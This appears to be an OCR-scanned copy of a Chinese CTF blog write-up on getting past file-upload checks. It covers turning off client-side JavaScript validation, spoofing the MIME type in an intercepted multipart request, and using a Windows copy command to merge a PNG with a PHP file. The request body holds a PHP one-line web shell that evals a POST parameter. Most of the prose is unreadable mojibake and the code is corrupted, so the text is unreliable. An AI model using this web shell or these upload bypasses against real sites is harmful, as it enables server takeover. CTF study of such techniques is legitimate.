ctf X b4E

Zheng_Jay F 2021-11-15 23:28:23 Kk 1 3108 iR 1

FREE: cfff R CERS: B %24 javascript

FRAUE B ARSCRIEERAISCE, #15.CC 4.0 BY-SA JRAUMY, HEEM LR SCH A BB A1 .
AHEE: https://blog.csdn.net/Zheng_Jay/article/details/121346162

2 WX E 0T H
BB

& 5 R

BB R KR A% , —BERER AR Likjpg, png, gif EHH#R -

Yoscript type="text/javascript”:
function checkfFile()

{
var flag = false;
var str = document.getElementById{"file™).value;
str = str.substring(str.lastIndex0F{".') + 1);
var arr = new Array( ' png', 'jpg’, 'gif’);
for(var i=@;i<arr.length;i++)
1
if(str==arr[i])
i
flag = true;
1
i
b
if(!flag)
alert ('3R! HEE L& pngah.jpgak.gif! ' );
return false;
}
return flag;
¥
Jscript>
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Settings Preferences

IPmkmmﬁ B2 Detect indentation
Workspace Autocompletion
Experiments
Bracket matching
lgnore List
) () Code folding
Devices
Throttling Show whitespace characters: | None .
Locations Display variable values inline while debugging
Shortcuts

Focus Sources panel when triggering a breakpoint
Enable C55 source maps

Allow scrolling past end of file

Default indentation: | 4 spaces b

Elements
[[] Show user agent shadow DOM
Word wrap
Show HTML cemments
Reveal DOM node on hover
Show detailed inspect tooltip

[ Show rulers
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] Hide network messages

[O) Selected context anly

[ Lag XMLHttpRequests

(] Show timestamps

Autocomplete from history

Group similar messages in console
Eager evaluation

Evaluate triggers user activation
(] Preserve log upon navigation

[] Enable custom formatters

Persistence

[l Enable Local Overrides

Debugger

[l Disable JavaScript

(] Disabie async stack traces

Global

[} Auto-open DevTools for popups

Extension

Link handling: =0t

Restore defaults and reload
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» MIMEZEELG
¢ MIME typeRfY4a5 J9(Multipurpose Internet Mail Extensions)
KEXEEMER{AZERE (Internet media type) , MIMEfERE—M&
BHFFARAEN , SHEA T mRERMFEmailpi{4ayEEl |, £
htmISZ#FEQﬂL,Lf%Fﬁcontent -type[BIEFR | AR T SHSEERY
B EX R e

[antent-Dicpnsition: form-data; name="upfile"; filename="GIF.g

rcntent-Type: image/gif ]

GIF89a

ript language="php">@eval($_POST['a’]);:</script>
—————————————————————————————— T723230141571537767148896938
Content-Disposition: form-data; name="submit"
it

————————————————————————————— 723230141571537767148896938—

($_FILES["upfile”]["type"”] ~ "image/gif"){
echo "ORiIF HEGIFERL";
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= extn-utils.html

extn-utilsjs

| B upload.php |
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s JER :gif MIMEEZR! : image/qgif

¥ B : png MIMEZEE! : image/png
B4R : jpg MIMEZR! : image/jpeg
R js MIMEZER! : text/javascript
« RBA - htm MIMEZER! : text/html

« I ES : html MIMEZER! : text/html

BEMMESK A :

FOsST /upload.php HITE/L1.1

Host: P —

Proxy-Connection: keep-alive

Content-Length: 2594

Cache-Control: max-age=0

Upgrade-Insecure—-Reguests: 1

Origin: http: /el 1]

Content-Type: multipart/form-data; kboundary=—---WebKitFormBoundaryeSZBCEflorSsAVapsi
User-Agent: Mozilla/5.0 (Linux; Android &.0; Nexus 5 Build/MRASBN)
AppleWebKEit/537.36 (KHTML, like Gecko) Chrome/85.0.4638.689 Mohile Safari/537.36
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avift, image/webp, inage/ apn
¥/ *;q=0.8, application/signed-exchange;v=hk3;q=0.9

Referer: http://35.2259.138.83:18367/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;g=0.9,zh-TW;g=0.8,en-Us5;qg=0.7,en;gq=0.8

—————— WebEitFormBoundaryeSZBCEflorSsAvVaps
Content-Disposition: form-data; name="file"; filename="asd.php"
Content-Type: application/octet-stream

—————— WebEitFormBoundaryeSZBCE10rSsAVaps
Content-Disposition: form-data; name="submit"

—————— WebEltFormBoundaryeSZBCEflorSsAvVapd——
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fEwindosH, FATAILATEcmd ™ A copy U AT HESR o

AR Z K —5kpng B/ MIFRATHIphp STAHRLE, AEA T png Xk, Seid lRss s IR 5 7 15 ?
copy 1.png/b+2.php give_me_flag.php
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prcopy 1. png/b+2. php give me flag. php
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